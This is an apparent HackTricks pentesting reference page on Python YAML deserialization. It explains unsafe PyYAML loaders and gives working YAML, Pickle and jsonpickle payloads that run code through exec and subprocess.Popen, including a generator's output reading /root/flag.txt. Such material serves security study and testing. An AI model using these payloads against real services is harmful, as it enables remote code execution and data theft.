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175 lines
7.5 KiB
Markdown
175 lines
7.5 KiB
Markdown
# Python Yaml Deserialization
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<details>
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<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Other ways to support HackTricks:
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* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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## Yaml **Deserialization**
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**Yaml** python libraries is also capable to **serialize python objects** and not just raw data:
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```
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print(yaml.dump(str("lol")))
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lol
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...
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print(yaml.dump(tuple("lol")))
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!!python/tuple
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- l
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- o
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- l
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print(yaml.dump(range(1,10)))
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!!python/object/apply:builtins.range
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- 1
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- 10
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- 1
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```
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Check how the **tuple** isn’t a raw type of data and therefore it was **serialized**. And the same happened with the **range** (taken from the builtins).
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.png>)
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**safe\_load()** or **safe\_load\_all()** uses SafeLoader and **don’t support class object deserialization**. Class object deserialization example:
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```python
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import yaml
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from yaml import UnsafeLoader, FullLoader, Loader
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data = b'!!python/object/apply:builtins.range [1, 10, 1]'
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print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
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print(yaml.load(data, Loader=Loader)) #range(1, 10)
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print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.unsafe_load(data)) #range(1, 10)
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print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
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#The other ways to load data will through an error as they won't even attempt to
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#deserialize the python object
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```
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The previous code used **unsafe\_load** to load the serialized python class. This is because in **version >= 5.1**, it doesn’t allow to **deserialize any serialized python class or class attribute**, with Loader not specified in load() or Loader=SafeLoader.
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### Basic Exploit
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Example on how to **execute a sleep**:
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```python
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import yaml
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from yaml import UnsafeLoader, FullLoader, Loader
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data = b'!!python/object/apply:time.sleep [2]'
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print(yaml.load(data, Loader=UnsafeLoader)) #Executed
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print(yaml.load(data, Loader=Loader)) #Executed
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print(yaml.load_all(data))
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print(yaml.load_all(data, Loader=Loader))
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print(yaml.load_all(data, Loader=UnsafeLoader))
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print(yaml.load_all(data, Loader=FullLoader))
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print(yaml.unsafe_load(data)) #Executed
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print(yaml.full_load_all(data))
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print(yaml.unsafe_load_all(data))
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```
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### Vulnerable .load("\<content>") without Loader
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**Old versions** of pyyaml were vulnerable to deserialisations attacks if you **didn't specify the Loader** when loading something: `yaml.load(data)`
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You can find the [**description of the vulnerability here**](https://hackmd.io/@defund/HJZajCVlP)**.** The proposed **exploit** in that page is:
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```yaml
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!!python/object/new:str
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state: !!python/tuple
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- 'print(getattr(open("flag\x2etxt"), "read")())'
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- !!python/object/new:Warning
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state:
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update: !!python/name:exec
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```
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Or you could also use this **one-liner provided by @ishaack**:
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```yaml
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!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
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```
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Note that in **recent versions** you cannot **no longer call `.load()`** **without a `Loader`** and the **`FullLoader`** is **no longer vulnerable** to this attack.
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## RCE
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Custom payloads can be created using Python YAML modules such as **PyYAML** or **ruamel.yaml**. These payloads can exploit vulnerabilities in systems that deserialize untrusted input without proper sanitization.
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```python
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import yaml
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from yaml import UnsafeLoader, FullLoader, Loader
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import subprocess
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class Payload(object):
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def __reduce__(self):
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return (subprocess.Popen,('ls',))
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deserialized_data = yaml.dump(Payload()) # serializing data
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print(deserialized_data)
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#!!python/object/apply:subprocess.Popen
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#- ls
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print(yaml.load(deserialized_data, Loader=UnsafeLoader))
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print(yaml.load(deserialized_data, Loader=Loader))
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print(yaml.unsafe_load(deserialized_data))
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```
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### Tool to create Payloads
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The tool [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) can be used to generate python deserialization payloads to abuse **Pickle, PyYAML, jsonpickle and ruamel.yaml:**
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```bash
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python3 peas.py
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Enter RCE command :cat /root/flag.txt
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Enter operating system of target [linux/windows] . Default is linux :linux
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Want to base64 encode payload ? [N/y] :
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Enter File location and name to save :/tmp/example
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Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
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Done Saving file !!!!
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cat /tmp/example_jspick
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{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
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cat /tmp/example_pick | base64 -w0
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gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
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cat /tmp/example_yaml
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!!python/object/apply:subprocess.Popen
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- !!python/tuple
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- cat
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- /root/flag.txt
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```
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### References
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* [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
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* [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)
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<details>
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<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
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|
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Other ways to support HackTricks:
|
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|
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* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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